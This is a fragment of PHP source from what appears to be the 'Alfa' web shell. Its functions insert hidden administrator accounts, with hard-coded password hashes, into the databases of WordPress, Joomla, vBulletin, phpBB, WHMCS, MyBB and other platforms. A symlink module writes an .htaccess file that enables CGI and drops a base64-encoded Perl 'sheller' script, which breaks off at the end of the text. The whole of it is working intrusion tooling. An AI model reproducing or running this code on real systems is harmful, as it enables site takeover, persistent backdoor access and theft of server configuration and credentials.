  1708. <font color=#FFFFFF><b>Skype : sole.sad</b></font><br><b>
  1709. <font color=#FF0000><b>Persian Gulf For Ever</b></font><br><b>
  1711. </pre></div>";
  1712. alfafooter();
  1713. }
  1714. function alfapwchanger(){
  1715. alfahead();
  1716. echo '<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script><center><h3><span>| Add New Admin |</span></h3>
  1717. <center><h3>
  1718. <a href=# onclick="g(\'pwchanger\',null,\'wp\')">| WordPress | </a>
  1719. <a href=# onclick="g(\'pwchanger\',null,null,\'joomla\')">| Joomla | </a>
  1720. <a href=# onclick="g(\'pwchanger\',null,null,null,\'etchat\')">| ET CHAT | </a>
  1721. <a href=# onclick="g(\'pwchanger\',null,null,null,null,\'vb\')">| vBulletin | </a>
  1722. <a href=# onclick="g(\'pwchanger\',null,null,null,null,null,\'phpbb\')">| phpBB | </a>
  1723. <a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,\'whmcs\')">| whmcs | </a>
  1724. <a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,null,\'mybb\')">| MyBB | </a>
  1725. <a href=# onclick="g(\'pwchanger\',null,null,null,null,null,null,null,null,\'nuke\')">| Php Nuke | </a>
  1726. </h3></center>';
  1727. if ($_POST['alfa1'] && $_POST['alfa1']== 'wp'){
  1728. echo '<b><center><script>alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
  1729. <center><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">WordPress</font><font color="#FFFF01"> ==</font></b><p>
  1730. <FORM onSubmit="g(\'pwchanger\',null,\'wp\',this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">
  1731. <table border=1>
  1732. <tr><td><font color=#FFFFFF>Host :</td>
  1733. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  1734. <tr><td><font color=#FFFFFF>Database :</td>
  1735. <td> <INPUT size="30" value="" name="database" type="text"></td></tr>
  1736. <tr><td><font color=#FFFFFF>Table Prefix :</td>
  1737. <td><INPUT size="30" value="wp_" name="prefix" type="text"></td></tr>
  1738. <tr><td><font color=#FFFFFF>Username : </td>
  1739. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  1740. <tr><td><font color=#FFFFFF>Password :</td>
  1741. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  1742. <tr><td><font color=#FF0000>Admin Username:</td>
  1743. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  1744. <tr><td><font color=#FF0000>Admin Password: </td>
  1745. <td><INPUT name="kh" size="30" value="solevisible" disabled /></td></tr>
  1746. <tr><td><font color=#FF0000>Admin Email:</td>
  1747. <td><INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
  1748. </table>
  1749. <INPUT value=">>" name="send" type="submit">
  1750. </FORM></b>';
  1751. if ($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
  1752. $localhost = $_POST['alfa3'];
  1753. $database = $_POST['alfa4'];
  1754. $username = $_POST['alfa5'];
  1755. $password = $_POST['alfa6'];
  1756. $admin = $_POST['alfa8'];
  1757. $SQL = $_POST['alfa9'];
  1758. $prefix = $_POST['alfa10'];
  1759. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1760. @mysql_select_db($database) or die(mysql_error());
  1761. $solevisible=@mysql_query("insert into ".$prefix."users (ID,user_login,user_pass,user_email) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','$SQL')") or die(mysql_error());
  1762. $solevisible=@mysql_query("select ID from ".$prefix."users where user_login='".$admin."'") or die(mysql_error());
  1763. $sole = mysql_num_rows($solevisible);
  1764. if ($sole == 1){
  1765. $solevis = mysql_fetch_assoc($solevisible);
  1766. $res = $solevis['ID'];
  1767. }
  1768. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','first_name','solevisible')") or die(mysql_error());
  1769. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','last_name','solevisible')") or die(mysql_error());
  1770. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','nickname','solevisible')") or die(mysql_error());
  1771. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','description','solevisible')") or die(mysql_error());
  1772. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','rich_editing','true')") or die(mysql_error());
  1773. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','comment_shortcuts','false')") or die(mysql_error());
  1774. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','admin_color','fresh')") or die(mysql_error());
  1775. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','use_ssl','0')") or die(mysql_error());
  1776. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','show_admin_bar_front','true')") or die(mysql_error());
  1777. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_capabilities','a:1:{s:13:\"administrator\";b:1;}')") or die(mysql_error());
  1778. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_user_level','10')") or die(mysql_error());
  1779. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','dismissed_wp_pointers','wp330_toolbar,wp330_saving_widgets,wp340_choose_image_from_library,wp340_customize_current_theme_link,wp350_media')") or die(mysql_error());
  1780. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','show_welcome_panel','1')") or die(mysql_error());
  1781. $solevisible=@mysql_query("insert into ".$prefix."usermeta (umeta_id,user_id,meta_key,meta_value) values(null,'".$res."','wp_dashboard_quick_press_last_post_id','3')") or die(mysql_error());
  1782. if($solevisible){
  1783. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
  1784. }
  1785. }
  1786. if ($_POST['alfa2'] && $_POST['alfa2'] == 'joomla' ){
  1787. echo '<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
  1788. <b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,\'joomla\',this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,this.email.value,this.prefix.value);return false;" method="POST">
  1789. <center><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Joomla</font><font color="#FFFF01"> ==</font></b>
  1790. <p><table border=1>
  1791. <tr><td><font color=#FFFFFF> host :</td>
  1792. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  1793. <tr><td><font color=#FFFFFF>database: </td>
  1794. <td><INPUT size="30" value="" name="database" type="text"></td></tr>
  1795. <tr><td><font color=#FFFFFF>Table Prefix :</td>
  1796. <td><INPUT size="30" value="jos_" name="prefix" type="text"></td></tr>
  1797. <tr><td><font color=#FFFFFF>username : </td>
  1798. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  1799. <tr><td><font color=#FFFFFF>password : </td>
  1800. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  1801. <tr><td><font color=#FF0000>Admin username:</td>
  1802. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  1803. <tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
  1804. <td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
  1805. <tr><td><font color=#FF0000>Admin Email:</td>
  1806. <td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
  1807. </table>
  1808. <INPUT value=">>" name="send" type="submit">
  1809. </FORM></center></b>';
  1810. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  1811. $localhost = $_POST['alfa3'];
  1812. $database = $_POST['alfa4'];
  1813. $username = $_POST['alfa5'];
  1814. $password = $_POST['alfa6'];
  1815. $admin = $_POST['alfa8'];
  1816. $SQL = $_POST['alfa9'];
  1817. $prefix = $_POST['alfa10'];
  1818. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1819. @mysql_select_db($database) or die(mysql_error());
  1820. $solevisible=@mysql_query("insert into ".$prefix."users (id,name,username,email,password) values(null,'Super User','".$admin."','".$SQL."','d4a590caacc0be55ef286e40a945ea45')") or die(mysql_error());
  1821. $solevisible=@mysql_query("select id from ".$prefix."users where username='".$admin."'") or die(mysql_error());
  1822. $sole = mysql_num_rows($solevisible);
  1823. if ($sole == 1){
  1824. $solevis = mysql_fetch_assoc($solevisible);
  1825. $res = $solevis['id'];
  1826. }
  1827. $solevisible=@mysql_query("INSERT INTO ".$prefix."user_usergroup_map (user_id,group_id) VALUES ('".$res."', '8')") or die(mysql_error());
  1828. if($solevisible){
  1829. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
  1830. }
  1831. }
  1832. if ($_POST['alfa3'] && $_POST['alfa3'] == 'etchat'){
  1833. echo '<script>alfa1_=alfa2_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
  1834. <b><center> <FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,\'etchat\',this.database.value,this.username.value,this.password.value,null,this.admin.value,null); return false;" method="POST">
  1835. <b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Etchat</font><font color="#FFFF01"> ==</font></b>
  1836. <p><table border=1>
  1837. <tr><td><font color=#FFFFFF> host :</td>
  1838. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  1839. <tr><td><font color=#FFFFFF>database: </td>
  1840. <td><INPUT size="30" value="" name="database" type="text"></td></tr>
  1841. <tr><td><font color=#FFFFFF>username : </td>
  1842. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  1843. <tr><td><font color=#FFFFFF>password : </td>
  1844. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  1845. <tr><td><font color=#FF0000>Admin username:</td>
  1846. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  1847. <tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
  1848. <td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
  1849. </table>
  1850. <INPUT value=">>" name="send" type="submit">
  1851. </FORM></center></b>';
  1852. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  1853. $localhost = $_POST['alfa2'];
  1854. $database = $_POST['alfa4'];
  1855. $username = $_POST['alfa5'];
  1856. $password = $_POST['alfa6'];
  1857. $admin = $_POST['alfa8'];
  1858. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1859. @mysql_select_db($database) or die(mysql_error());
  1860. $solevisible=@mysql_query("insert into db1_etchat_user (etchat_user_id,etchat_username,etchat_userpw,etchat_userprivilegien) values(null,'$admin','d4a590caacc0be55ef286e40a945ea45','admin')") or die(mysql_error());
  1861. if($solevisible){
  1862. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
  1863. }
  1864. }
  1865. if ($_POST['alfa4'] && $_POST['alfa4'] == 'vb'){
  1866. echo '<script>alfa1_=alfa2_=alfa3_=alfa5_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
  1867. <b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,\'vb\',this.username.value,this.password.value,this.prefix.value,this.admin.value,this.email.value); return false;" method="POST">
  1868. <center><b><b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">vBulletin</font><font color="#FFFF01"> ==</font></b><p> <table border=1>
  1869. <tr><td><font color="#FFFFFF">host :</font></td>
  1870. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  1871. <tr><td><font color="#FFFFFF">database :</font></td>
  1872. <td> <INPUT size="30" value="" name="database" type="text"></td></tr>
  1873. <tr><td><font color="#FFFFFF">username :</font></td>
  1874. <td><INPUT size="30" value="" name="username" type="text"></td></tr>
  1875. <tr><td><font color="#FFFFFF">password :</font></td>
  1876. <td><INPUT size="30" value="" name="password" type="text"></td></tr>
  1877. <tr><td><font color="#FFFFFF">Prefix : </font></td>
  1878. <td><INPUT name="prefix" size="30" value="" /></td></tr>
  1879. <tr><td><font color="#FF0000">Admin username:</font></td>
  1880. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  1881. <tr><td><font color="#FF0000">Admin Password : </font></td>
  1882. <td><INPUT name="hi" size="30" value="solevisible" disabled/></td></tr>
  1883. <tr><td><font color="#FF0000">Admin Email : </font></td>
  1884. <td><INPUT name="email" size="30" value="solevisible@fbi.gov"> </td></tr>
  1885. </table>
  1886. <INPUT value=">>" name="send" type="submit">
  1887. </FORM>
  1888. </b></center>';
  1889. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  1890. $localhost = $_POST['alfa2'];
  1891. $database = $_POST['alfa3'];
  1892. $username = $_POST['alfa5'];
  1893. $password = $_POST['alfa6'];
  1894. $prefix = $_POST['alfa7'];
  1895. $admin = $_POST['alfa8'];
  1896. $SQL = $_POST['alfa9'];
  1897. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1898. @mysql_select_db($database) or die(mysql_error());
  1899. $solevisible=@mysql_query("insert into {$prefix}user (userid,usergroupid,username,password,salt,email) values(null,'6','$admin','52e28b78f55641cd4618ad1a20f5fd5c','Xw|IbGLhTQA-AwApVv>61y^(z]*<QN','$SQL')") or die(mysql_error());
  1900. $solevisible=@mysql_query("select userid from {$prefix}user where username='".$admin."'") or die(mysql_error());
  1901. $sole = mysql_num_rows($solevisible);
  1902. if ($sole == 1){
  1903. $solevis = mysql_fetch_assoc($solevisible);
  1904. $res = $solevis['userid'];
  1905. }
  1906. $solevisible=@mysql_query("insert into {$prefix}administrator (userid,adminpermissions) values('".$res."','16744444')") or die(mysql_error());
  1907. if($solevisible){
  1908. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
  1909. }
  1910. }
  1911. if ($_POST['alfa5'] && $_POST['alfa5'] == 'phpbb'){
  1912. echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa6_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
  1913. <b> <center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,\'phpbb\',this.password.value,null,this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">
  1914. <b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">phpBB</font><font color="#FFFF01"> ==</font></b>
  1915. <p><table border=1>
  1916. <tr><td><font color=#FFFFFF> host :</td>
  1917. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  1918. <tr><td><font color=#FFFFFF>database: </td>
  1919. <td><INPUT size="30" value="" name="database" type="text"></td></tr>
  1920. <tr><td><font color=#FFFFFF>Table Prefix :</td>
  1921. <td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
  1922. <tr><td><font color=#FFFFFF>username : </td>
  1923. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  1924. <tr><td><font color=#FFFFFF>password : </td>
  1925. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  1926. <tr><td><font color=#FF0000>Admin username:</td>
  1927. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  1928. <tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
  1929. <td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
  1930. <tr><td><font color=#FF0000>Admin Email:</td>
  1931. <td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
  1932. </table>
  1933. <INPUT value=">>" name="send" type="submit">
  1934. </FORM><center></b>';
  1935. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  1936. $localhost = $_POST['alfa2'];
  1937. $database = $_POST['alfa3'];
  1938. $username = $_POST['alfa4'];
  1939. $password = $_POST['alfa6'];
  1940. $pwd = $_POST['alfa7'];
  1941. $admin = $_POST['alfa8'];
  1942. $SQL = $_POST['alfa9'];
  1943. $prefix = $_POST['alfa10'];
  1944. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1945. @mysql_select_db($database) or die(mysql_error());
  1946. $hash = md5($pwd);
  1947. $solevisible=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE username_clean = 'admin'") or die(mysql_error());
  1948. $solevisible=@mysql_query("UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE username_clean = 'admin'") or die(mysql_error());
  1949. $solevisible=@mysql_query("UPDATE ".$prefix."users SET username_clean ='".$admin."' WHERE user_type = 3") or die(mysql_error());
  1950. $solevisible=@mysql_query("UPDATE ".$prefix."users SET user_password ='".$hash."' WHERE user_type = 3") or die(mysql_error());
  1951. $solevisible=@mysql_query("UPDATE ".$prefix."users SET user_email ='".$SQL."' WHERE username_clean = 'admin'") or die(mysql_error());
  1952. if($solevisible){
  1953. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> ";
  1954. }
  1955. }
  1956. }
  1957. if ($_POST['alfa6'] && $_POST['alfa6'] == 'whmcs'){
  1958. echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa7_=alfa8_=alfa9_=alfa10_=""</script>
  1959. <b><center><FORM onSubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,\'whmcs\',null,this.admin.value,this.email.value); return false;" method="POST">
  1960. <b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Whmcs</font><font color="#FFFF01"> ==</font></b>
  1961. <p><table border=1>
  1962. <tr><td><font color=#FFFFFF> host :</td>
  1963. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  1964. <tr><td><font color=#FFFFFF>database: </td>
  1965. <td><INPUT size="30" value="" name="database" type="text"></td></tr>
  1966. <tr><td><font color=#FFFFFF>username : </td>
  1967. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  1968. <tr><td><font color=#FFFFFF>password : </td>
  1969. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  1970. <tr><td><font color=#FF0000>Admin username:</td>
  1971. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  1972. <tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
  1973. <td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
  1974. <tr><td><font color=#FF0000>Admin Email:</td>
  1975. <td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
  1976. </table>
  1977. <INPUT value=">>" name="send" type="submit">
  1978. </FORM></center></b>';
  1979. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  1980. $localhost = $_POST['alfa2'];
  1981. $database = $_POST['alfa3'];
  1982. $username = $_POST['alfa4'];
  1983. $password = $_POST['alfa5'];
  1984. $admin = $_POST['alfa8'];
  1985. $SQL = $_POST['alfa9'];
  1986. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  1987. @mysql_select_db($database) or die(mysql_error());
  1988. $solevisible=@mysql_query("insert into tbladmins (id,roleid,username,password,email,template,homewidgets) values(null,'1','".$admin."','d4a590caacc0be55ef286e40a945ea45','".$SQL."','blend','getting_started:true,orders_overview:true,supporttickets_overview:true,my_notes:true,client_activity:true,open_invoices:true,activity_log:true|income_overview:true,system_overview:true,whmcs_news:true,sysinfo:true,admin_activity:true,todo_list:true,network_status:true,income_forecast:true|')") or die(mysql_error());
  1989. if($solevisible){
  1990. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
  1991. }
  1992. }
  1993. if ($_POST['alfa7'] && $_POST['alfa7'] == 'mybb'){
  1994. echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa8_=alfa9_=alfa10_=""</script>
  1995. <b><center><FORM onsubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,\'mybb\',this.admin.value,this.email.value,this.prefix.value); return false;" method="POST">
  1996. <b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">Mybb</font><font color="#FFFF01"> ==</font></b>
  1997. <p><table border=1>
  1998. <tr><td><font color=#FFFFFF> host :</td>
  1999. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  2000. <tr><td><font color=#FFFFFF>database: </td>
  2001. <td><INPUT size="30" value="" name="database" type="text"></td></tr>
  2002. <tr><td><font color=#FFFFFF>Table Prefix :</td>
  2003. <td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
  2004. <tr><td><font color=#FFFFFF>username : </td>
  2005. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  2006. <tr><td><font color=#FFFFFF>password : </td>
  2007. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  2008. <tr><td><font color=#FF0000>Admin username:</td>
  2009. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  2010. <tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
  2011. <td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
  2012. <tr><td><font color=#FF0000>Admin Email:</td>
  2013. <td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
  2014. </table>
  2015. <INPUT value=">>" name="send" type="submit">
  2016. </FORM></center></b>';
  2017. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  2018. $localhost = $_POST['alfa2'];
  2019. $database = $_POST['alfa3'];
  2020. $username = $_POST['alfa4'];
  2021. $password = $_POST['alfa5'];
  2022. $admin = $_POST['alfa8'];
  2023. $SQL = $_POST['alfa9'];
  2024. $prefix = $_POST['alfa10'];
  2025. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2026. @mysql_select_db($database) or die(mysql_error());
  2027. $solevisible=@mysql_query("insert into ".$prefix."users (uid,username,password,salt,email,usergroup) values(null,'".$admin."','e71f2c3265619038d826a1ac6e2b9b8e','ywza68lS','".$SQL."','4')") or die(mysql_error());
  2028. if($solevisible){
  2029. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> "; }
  2030. }
  2031. }
  2032. if ($_POST['alfa8'] && $_POST['alfa8'] == 'nuke'){
  2033. echo '<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa9_=alfa10_=""</script>
  2034. <b><center><FORM onsubmit="g(\'pwchanger\',null,this.send.value,this.localhost.value,this.database.value,this.username.value,this.password.value,null,this.admin.value,\'nuke\',this.email.value,this.prefix.value); return false;" method="POST">
  2035. <b><font color="#FFFF01">==</font> <font color="#00A220">Add</font> <font color="#FFFFFF">NewAdmin</font> <font color="#FF0000">PhpNuke</font><font color="#FFFF01"> ==</font></b>
  2036. <p><table border=1>
  2037. <tr><td><font color=#FFFFFF> host :</td>
  2038. <td><INPUT size="30" value="localhost" name="localhost" type="text"></td></tr>
  2039. <tr><td><font color=#FFFFFF>database: </td>
  2040. <td><INPUT size="30" value="" name="database" type="text"></td></tr>
  2041. <tr><td><font color=#FFFFFF>Table Prefix :</td>
  2042. <td><INPUT size="30" value="" name="prefix" type="text"></td></tr>
  2043. <tr><td><font color=#FFFFFF>username : </td>
  2044. <td> <INPUT size="30" value="" name="username" type="text"></td></tr>
  2045. <tr><td><font color=#FFFFFF>password : </td>
  2046. <td> <INPUT size="30" value="" name="password" type="text"></td></tr>
  2047. <tr><td><font color=#FF0000>Admin username:</td>
  2048. <td><INPUT name="admin" size="30" value="admin"></td></tr>
  2049. <tr><td><font color=#FF0000>Admin Password :<font color="#FFFFFF"></td>
  2050. <td><INPUT name="toftof" size="30" value="solevisible" disabled/></td></tr>
  2051. <tr><td><font color=#FF0000>Admin Email:</td>
  2052. <td> <INPUT name="email" size="30" value="solevisible@fbi.gov"></td></tr>
  2053. </table>
  2054. <INPUT value=">>" name="send" type="submit">
  2055. </FORM></center></b>';
  2056. if ($_POST['alfa1'] && $_POST['alfa1'] == '>>'){
  2057. $localhost = $_POST['alfa2'];
  2058. $database = $_POST['alfa3'];
  2059. $username = $_POST['alfa4'];
  2060. $password = $_POST['alfa5'];
  2061. $admin = $_POST['alfa7'];
  2062. $SQL = $_POST['alfa9'];
  2063. $prefix = $_POST['alfa10'];
  2064. @mysql_connect($localhost,$username,$password) or die(mysql_error());
  2065. @mysql_select_db($database) or die(mysql_error());
  2066. $hash = md5($pwd);
  2067. $solevisible=@mysql_query("insert into ".prefix."_authors(aid,name,email,pwd) values('$admin','God','$SQL','d4a590caacc0be55ef286e40a945ea45')") or die(mysql_error());
  2068. if($solevisible){
  2069. echo "<center><br><b><script>alert('Success... ".$admin." is created :)')</script></b></center> ";
  2070. }
  2071. }
  2072. }
  2073. echo "</div>";
  2074. alfafooter();
  2075. }
  2076. function alfasymlink()
  2077. {
  2078. alfahead();
  2079. $solevisible8 = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
  2080. $solevisible55=explode('/',$solevisible8 );
  2081. $solevisible8 =str_replace($solevisible55[count($solevisible55)-1],'',$solevisible8 );
  2082. echo '<div class=header><script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=alfa8_="";</script><center><h3><span>| Symlink |</span></h3><center><h3><a href=# onclick="g(\'symlink\',null,\'website\',null)">| Domains(Cpanel) | </a><a href=# onclick="g(\'symlink\',null,null,\'whole\')">| Whole Symlink(Cpanel) | </a><a href=# onclick="g(\'symlink\',null,null,null,null,null,null,\'direct\')">| Whole Symlink(Direct-Admin) | </a><a href=# onclick="g(\'symlink\',null,null,null,\'config\')">| Config Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,null,\'SymFile\')">| File Symlink | </a><a href=# onclick="g(\'symlink\',null,null,null,null,null,\'cfucker\')">| Config Fucker | </a></h3></center>';
  2083. if(isset($_POST['alfa8']) && $_POST['alfa8']=='userpl')
  2084. {
  2085. mkdir('userpl',0755);
  2086. chdir('userpl');
  2087. $solevisible7 = '.htaccess';
  2088. $solevisible6 = "$solevisible7";
  2089. $solevisible4 = fopen ($solevisible6 ,'w') or die ('ERROR!!!');
  2090. $solevisible5 = 'Options FollowSymLinks MultiViews Indexes ExecCGI
  2091. AddType application/x-httpd-cgi .alfa
  2092. AddHandler cgi-script .alfa
  2093. AddHandler cgi-script .alfa';
  2094. fwrite ( $solevisible4 ,$solevisible5 ) ;
  2095. fclose ($solevisible4);
  2096. $solevisible3 = 'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluDQpwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsNCnByaW50JzwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFRyYW5zaXRpb25hbC8vRU4iICJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS10cmFuc2l0aW9uYWwuZHRkIj4NCjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj4NCg0KPGhlYWQ+DQo8bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4NCjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04IiAvPg0KPHRpdGxlPi46OlNvbGV2c2libGUgR0VULVVzZXImZG9tYWluIFNoZWxsZXI6Oi48L3RpdGxlPg0KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCi5uZXdTdHlsZTEgew0KIGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7DQogZm9udC1mYW1pbHk6ICJDb3VyaWVyIE5ldyIsIENvdXJpZXIsIG1vbm9zcGFjZTsNCiBmb250LXNpemU6IGxhcmdlOw0KIGZvbnQtd2VpZ2h0OiBib2xkOw0KfQ0KDQoNCg0KDQoNCi5zdHlsZTEgew0KIHRleHQtYWxpZ246IGNlbnRlcjsNCiBjb2xvcjojZmZmZmZmOw0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQoJLW1vei10cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlLW91dDstby10cmFuc2l0aW9uOiBhbGwgMC4zcyBlYXNlLW91dDstd2Via2l0LXRyYW5zaXRpb246IGFsbCAwLjNzIGVhc2Utb3V0O3RyYW5zaXRpb246IGFsbCAwLjNzIGVhc2Utb3V0DQoNCn0NCi5zdHlsZTE6aG92ZXIgew0KIHRleHQtYWxpZ246IGNlbnRlcjsNCiBjb2xvcjojZmYwMDAwOw0KdGV4dC1kZWNvcmF0aW9uOm5vbmU7DQp9DQoNCg0KPC9zdHlsZT4NCjwvaGVhZD4NCg0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSI+DQoNCg0KDQonOw0Kb3Blbi